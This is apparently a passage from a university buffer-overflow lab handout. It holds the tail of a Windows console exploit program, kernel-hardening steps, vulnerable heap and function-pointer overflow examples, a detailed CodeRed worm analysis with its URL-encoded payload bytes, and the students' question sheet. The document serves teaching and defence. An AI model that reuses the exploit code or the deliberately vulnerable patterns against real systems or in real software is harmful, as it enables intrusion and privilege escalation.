FreeConsole ok.\n"); if(!AllocConsole()) printf("[-] AllocConsole failed:%d\n", GetLastError()); else printf("[+] AllocConsole ok.\n"); } dwRet = GetConsoleTitle(szConsoleTitle, sizeof(szConsoleTitle)); if(dwRet) { printf("[+] Get Console Title OK:\"%s\"\n", szConsoleTitle); } else { printf("[-] Get Console Title failed.\n"); return; } hwnd = FindWindow("ConsoleWindowClass",szConsoleTitle); if(hwnd) printf("[+] bingo! found hwnd=%X\n", hwnd); else { printf("[-] can't found hwnd!\n"); return; } exploit(hwnd, dwPid); printf("[+] Done.\n"); } 37 Linux uses an initial ramdisk to load extra modules during the boot process. Make the initial ramdisk: mkinitrd /boot/initrd-2.6.11.12-pax.img 2.6.11.12-grsec Add new kernel option to bootloader. Redhat uses grub which is a fine option. Put the kernel into the appropriate location: cp arch/i386/boot/bzImage /boot/vmlinuz-2.6.11.12-pax Grub uses a configuration file to tell it how to boot each kernel or operating system choice. Add the following four lines to /boot/grub/grub.conf title Red Hat Enterprise Linux 2.6.11.12-pax root (hd0,0) kernel /vmlinuz-2.6.11.12-pax ro root=/dev/VolGroup00/LogVol00 \ rhgb quiet /initrd /initrd-2.6.11.12-pax.img Reboot and select new kernel option in grub. Verify new kernel is 2.6.11.12-pax: uname -a Our system came back up without any problems. Sometimes our modifications might not be bootable or we fail to add something Redhat needs. That's why we tried to stay as close to Redhat's configuration as possible. The new kernel can generally defeat most of the traditional shell code techniques described in Smashing the Stack for Fun and Profit. Run the examples on the RHEL now and the processes should terminate immediately as they try and execute from the stack. Neat! 40 APPENDIX C: Buffer Overflow 1 Advances in Buffer Overflow 1.1 First generation – Stack overflow The Buffer overflow technique described in Aleph One’s paper is limited to Stacks. Such attacks are classified as First generation Attacks. We will describe newer trends in Buffer overflow. 1.2.1 Second generation - Heap Overflows A common misconception by programmers is that by dynamically allocating memory (utilizing heaps) they can avoid using the stack, and thus, reduce the likelihood of exploitation. While stack overflows may be the low-hanging fruit, utilizing heaps does not instead eliminate the possibility of exploitation. The HeapA heap is memory that has been dynamically allocated. This memory is logically separate from the memory allocated for the stack and code. Heaps are dynamically created (e.g., new, malloc) and removed (e.g., delete,free). Heaps are generally used because the size of memory needed by the program is not known ahead of time, or is larger than the stack. The memory, where heaps are located, generally do not contain return addresses such as the stack. Thus, without the ability to overwrite saved return addresses, redirecting execution is potentially more difficult. However, that does not mean by utilizing heaps, one is secure from buffer overflows and exploitation. By overflowing a heap, one does not typically affect EIP. However, overflowing heaps can potentially overwrite data or modify pointers to data or functions. For example, on a locked down system one may not be able to write to C:\AUTOEXEC.BAT. However, if a program with system rights had a heap buffer overflow, instead of writing to some temporary file, someone could change the pointer to the temporary file name to instead point to the string C:\AUTOEXEC.BAT, and thus, induce the program with system rights to write to C:\AUTOEXEC.BAT. This results in user-rights elevation. In addition, heap buffer overflows can also generally result in a denial of service allowing one to crash an application. Consider the following vulnerable program, which writes characters to C:\ harmless.txt: #include <stdio.h> #include <tdlib.h> #include <string.h> void main(int argc, char **argv) { int i=0,ch; FILE *f; static char buffer[16], *szFilename; szFilename = “C:\\harmless.txt”; ch = getchar(); while (ch != EOF) { buffer[i] = ch; ch = getchar(); i++; } 41 f = fopen(szFilename, “w+b”); fputs(buffer, f); fclose(f); } Memory will appear like: Address Variable Value 0x00300ECB argv[1] ... ... ... 0x00407034 *szFilename C:\harmless.txt ... ... ... 0x00407680 Buffer XXXXXXXXXXXXXXX 0x00407690 szFilename Notice that buffer is close to szFilename. If one can overflow buffer, one can overwrite the szFilename pointer and change it from 0x00407034 to another address. For example, changing it to 0x00300ECB, which is argv[1], allows one to change the filename to any arbitrary filename passed on the command line. For example, if buffer is equal to: XXXXXXXXXXXXXXXX00300ECB and argv[1] is C:\AUTOEXEC.BAT, memory appears as: Address Variable Value 0x00300ECB argv[1] C:\AUTOEXEC.BAT ... ... ... 0x00407034 *szFilename C:\harmless.txt ... ... ... 0x00407680 Buffer XXXXXXXXXXXXXXX 0x00407690 szFilename 0x00300ECB Notice that szFilename has changed and now points to argv[1], which is C:\ AUTOEXEC.BAT. So, while heap overflows may be more difficult to exploit than the average stack overflow, unfortunately utilizing heaps does not guarantee one is invulnerable to overflow attacks. 1.2.2 Second Generation - Function Pointers Another second generation overflow involves function pointers. A function pointer occurs mainly when callbacks occur. If, in memory, a function pointer follows a buffer, there is the possibility to overwrite the function pointer if the buffer is unchecked. Here is a simple example of such code. #include <stdio.h> #include <stdlib.h> #include <string.h> int CallBack(const char *szTemp) { printf(“CallBack(%s)\n”, szTemp); return 0; 42 2 Cross-Over attacks – Buffer overflow technique in Computer viruses The CodeRed worm was a major shock to the antivirus industry since it was the first worm that spread not as a file, but solely in memory by utilizing a buffer overflow in Microsoft IIS. Many antivirus companies were unable to provide protection against CodeRed, while other companies with a wider focus on security were able to provide solutions to the relief of end users. Usually new techniques are picked up and used by copycat virus writers. Thus, many other similarly successful worms followed CodeRed, such as Nimda and Badtrans. The CodeRed worm was released to the wild in July of 2001. The worm replicated to thousands of systems in a matter of a few hours. It was estimated that well over 300,000 machines were infected by the worm within 24 hours. All of these machines were Windows 2000 systems running vulnerable versions of Microsoft IIS. Interestingly enough the worm did not need to create a file on the remote system in order to infect it, but existed only in memory of the target system. The worm accomplished this by getting into the process context of the Microsoft IIS with an extremely well crafted attack via port 80 (web service) of the target system. First the IIS web server receives GET /default.ida? followed by 224 characters, URL encoding for 22 Unicode characters (44 bytes), an invalid Unicode encoding of %u00=a, HTTP 1.0, headers, and a request body. For the initial CodeRed worm, the 224 characters are N, but there were other implementations that used other filler bytes such as X. In all cases, the URL-encoded characters are the same (they look like%uXXXX, where X is a hex digit). The request body is different for each of the known variants. IIS keeps the body of the request in a heap buffer (probably the one it read it into after processing the Content-length header indicating the size to follow). Note that a GET request is not allowed to have a request body, but IIS dutifully reads it according to the header’s instructions anyway. For this very reason,an appropriately configured firewall would cut the request body (and the worm), and CodeRed could not infect the attacked system. Buffer Overflow Details While processing the 224 characters in the GET request, functions in IDQ.DLL overwrite the stack at least twice once when expanding all characters to Unicode, and again when decoding the URL-escaped characters. However, the overwrite that results in the transfer of control to the worm body happens when IDQ.DLL calls DecodeURLEscapes() in QUERY.DLL. The caller is supposed to specify a length in wide chars, but instead specifies a number of bytes. As a result, DecodeURLEscapes() thinks it has twice as much room as it actually has, so it ends up overwriting the stack. Some of the decoded Unicode characters specified in URL encoding end up overwriting a frame-based exception block. Even after the stack has been overwritten, processing continues until a routine is called in MSVCRT.DLL. This routine notices that something is wrong and throws an exception. Exceptions are thrown by calling the KERNEL32.DLL routine RaiseException(). RaiseException() ends up transferring control to KiUserExceptionDispatcher() in 45 NTDLL.DLL. When KiUser Exception Dispatcher() is invoked, EBX points to the exception frame that was overwritten. The exception frame is composed of 4 DWORDs, the second of which is the address of the exception handler for the represented frame. The URL encoding whose expansion overwrote this frame starts with the third occurrence of %u9090 in the URL encoding, and is: %u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3 This decodes as the four DWORDs: 0x68589090, 0x7801CBD3, 0x90909090, and 0x00C38190. The address of the exception handler is set to 0x7801CBD3 (2nd DWORD), and KiUserException Dispatcher() calls there with EBX pointing at the first DWORD via CALL ECX. Address 0x7801CBD3 in IIS’s address space is within the memory image for the C run-time DLL MSVCRT.DLL. MSVCRT.DLL is loaded to a fixed address. At this address in MSVCRT.DLL is the instruction CALL EBX. When KiUserExceptionDispatcher() invokes the exception handler, it calls to the CALL EBX, which in turn transfers control to the first byte of the overwritten exception block. When interpreted as code, these instructions find and then transfer control to the main worm code, which is in a request buffer in the heap. The author of this exploit needed the decoded Unicode bytes to function both as the frame-based exception block containing a pointer to the “exception handler” at 0x7801CBD3, and as runable code. The first DWORD of the exception block is filled with 4 bytes of instructions arranged so that they are harmless, but also place the 0x7801CBD3 at the second DWORD boundary of the exception block. The first two DWORDs (0x68589090, 0x7801CBD3) disassemble into the instructions: nop, nop, pop eax, push 7801CBD3h, which accomplish this task easily. Having gained execution control on the stack (and avoiding a crash while running the “exception block”), the code finds and executes the main worm code. This code knows that there is a pointer (call it pHeapInfo) on the stack 0x300 bytes from EBX’s current value. At pHeapInfo+0x78, there is a pointer (call it pRequestBuff) to a heap buffer containing the GET request’s body, which contains the main worm code. With these two key pieces of information, the code transfers control to the worm body in the heap buffer. The worm code does its work, but never returns - the thread has been hijacked (along with the request buffer owned by the thread). Exception Frame Vulnerability This technique of usurping exception handling is complicated (and crafting it must have been difficult). The brief period between the eEye description of the original exploit and the appearance of the first CodeRed worm leads us to believe that this technique is somewhat generic. Perhaps the exception handling technique has been known to a few buffer overflow enthusiasts for some time, and this particular overflow was a perfect opportunity to use it. Having exception frames on the stack makes them extremely vulnerable to overflows. In other words the CodeRed worm relied on the Windows exception frame vulnerability to carry out a quick buffer overflow attack against IIS systems. The information on this document is based on sources in Symantec’s website and PHRACK magazine. 46 Names Group ECE 4112 Lab 4 Buffer Overflows PLQ1: According to the article, what are the common problems with C/C++ which allow buffer overflows? Section I – Experimentation The Stack Region 1) Draw a diagram of the memory stack at the time that function is called. Overflowing a Buffer 2) What are the results of executing example2? Why? Understanding Return Pointer Redirection 3) How did you modify example3.c to successfully redirect the pointer? 47 Section III – Common Vulnerabilities 11) What is the cause of the behavior in adjacent.c? 12) Modify adjacent.c to remove this “undesired” behavior 13) Modify cmdline.c to remove this vulnerability 14) input successful buffer size and offset: 15) remote.c successful buffer size and offset: Section IV – A Contemporary Vulnerability 16) Include text file and screenshot 17) What steps could a system administrator take to prevent this vulnerability? Section V – Libsafe – A preventive measure to buffer overflow 18) Include text file 50 18) How long did it take you to complete this lab? Was it an appropriate length lab? 19) What corrections and or improvements do you suggest for this lab? Please be very specific and if you add new material give the exact wording and instructions you would give to future students in the new lab handout. You may cross out and edit the text of the lab on previous pages to make corrections/suggestions. Note that part of your lab grade is what improvements you make to this lab. You may want to search the world wide web for other Buffer Overflow examples. What tools can we add to this lab that teach something else new? You need to be very specific and provide details. You need to actually do the suggested additions in the lab and provide solutions to your suggested additions. Caution as usual: only extract and use the tools you downloaded in the safe and approved environment of the network security laboratory. Attach to your submission: Output of exploited cmdline Output of exploited remote Output of exploited WindowsXP Screenshot of crashing WindowsXP and text file Libsafe text file 51